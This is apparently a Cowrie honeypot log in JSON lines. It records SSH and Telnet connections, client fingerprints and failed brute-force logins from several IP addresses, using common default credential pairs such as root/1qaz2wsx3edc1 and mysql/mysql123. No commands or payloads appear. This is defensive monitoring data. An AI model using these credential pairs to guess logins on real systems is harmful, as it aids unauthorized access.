{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.073669Z","src_ip":"165.154.137.186","session":"966b76b25381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54734,"dst_ip":"10.17.0.5","dst_port":22,"session":"95f6332ea3ae","protocol":"ssh","message":"New connection: 165.154.137.186:54734 (10.17.0.5:22) [session: 95f6332ea3ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.096275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.100461Z","src_ip":"165.154.137.186","session":"95f6332ea3ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.359130Z","src_ip":"165.154.137.186","session":"95f6332ea3ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54410,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4cac64f502","protocol":"ssh","message":"New connection: 165.154.137.186:54410 (10.17.0.5:22) [session: ac4cac64f502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.826862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.830370Z","src_ip":"165.154.137.186","session":"ac4cac64f502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:19.836951Z","src_ip":"165.154.137.186","session":"966b76b25381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:20.072799Z","src_ip":"165.154.137.186","session":"ac4cac64f502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:20.139088Z","src_ip":"165.154.137.186","session":"95f6332ea3ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:20.806287Z","src_ip":"165.154.137.186","session":"ac4cac64f502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:21.092797Z","src_ip":"165.154.137.186","session":"966b76b25381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:21.400752Z","src_ip":"165.154.137.186","session":"95f6332ea3ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:22.051918Z","src_ip":"165.154.137.186","session":"ac4cac64f502","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:22.229322Z","src_ip":"8.210.75.243","session":"5f0623d1f139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35936,"dst_ip":"10.17.0.5","dst_port":22,"session":"03fe81d4f3ab","protocol":"ssh","message":"New connection: 165.154.137.186:35936 (10.17.0.5:22) [session: 03fe81d4f3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:26.374819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:26.378170Z","src_ip":"165.154.137.186","session":"03fe81d4f3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:26.636599Z","src_ip":"165.154.137.186","session":"03fe81d4f3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:27.414325Z","src_ip":"165.154.137.186","session":"03fe81d4f3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:28.674798Z","src_ip":"165.154.137.186","session":"03fe81d4f3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":8175,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a7a0f3b496c","protocol":"ssh","message":"New connection: 178.20.210.208:8175 (159.203.135.109:22) [session: 2a7a0f3b496c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:31.699841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:31.703957Z","src_ip":"178.20.210.208","session":"2a7a0f3b496c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:31.797470Z","src_ip":"178.20.210.208","session":"2a7a0f3b496c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc1","message":"login attempt [root/1qaz2wsx3edc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:32.164694Z","src_ip":"178.20.210.208","session":"2a7a0f3b496c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:32.448537Z","src_ip":"8.210.75.243","session":"5f0623d1f139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:33.260801Z","src_ip":"178.20.210.208","session":"2a7a0f3b496c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33686,"dst_ip":"10.17.0.5","dst_port":22,"session":"caa29d3f2755","protocol":"ssh","message":"New connection: 165.154.137.186:33686 (10.17.0.5:22) [session: caa29d3f2755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:33.757985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:33.761294Z","src_ip":"165.154.137.186","session":"caa29d3f2755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:34.030314Z","src_ip":"165.154.137.186","session":"caa29d3f2755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:34.928612Z","src_ip":"165.154.137.186","session":"caa29d3f2755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:36.197493Z","src_ip":"165.154.137.186","session":"caa29d3f2755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee5bb508919c","protocol":"telnet","message":"New connection: 170.64.224.25:38768 (159.203.135.109:23) [session: ee5bb508919c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:36.406236Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47636,"dst_ip":"159.203.135.109","dst_port":23,"session":"d28d534a0f29","protocol":"telnet","message":"New connection: 170.64.224.25:47636 (159.203.135.109:23) [session: d28d534a0f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:44.753632Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41388,"dst_ip":"10.17.0.5","dst_port":22,"session":"550a5a0ac0cc","protocol":"ssh","message":"New connection: 8.210.75.243:41388 (10.17.0.5:22) [session: 550a5a0ac0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:55.055458Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:55.109859Z","src_ip":"8.210.75.243","session":"6f5c64258a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.63014531135559,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:58.036277Z","src_ip":"170.64.224.25","session":"ee5bb508919c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.29021644592285,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:49:58.763676Z","src_ip":"170.64.224.25","session":"665daad48dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":35928,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ec1e7f1078","protocol":"ssh","message":"New connection: 91.92.40.4:35928 (10.17.0.5:22) [session: 57ec1e7f1078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:06.735377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:06.739400Z","src_ip":"91.92.40.4","session":"57ec1e7f1078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:06.820384Z","src_ip":"91.92.40.4","session":"57ec1e7f1078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass","message":"login attempt [test/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:07.066679Z","src_ip":"91.92.40.4","session":"57ec1e7f1078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:08.149794Z","src_ip":"91.92.40.4","session":"57ec1e7f1078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":38430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0a86197b4cf","protocol":"ssh","message":"New connection: 162.241.239.241:38430 (10.17.0.5:22) [session: b0a86197b4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:08.472139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:50:08.477787Z","src_ip":"162.241.239.241","session":"b0a86197b4cf","protocol":"ssh"}
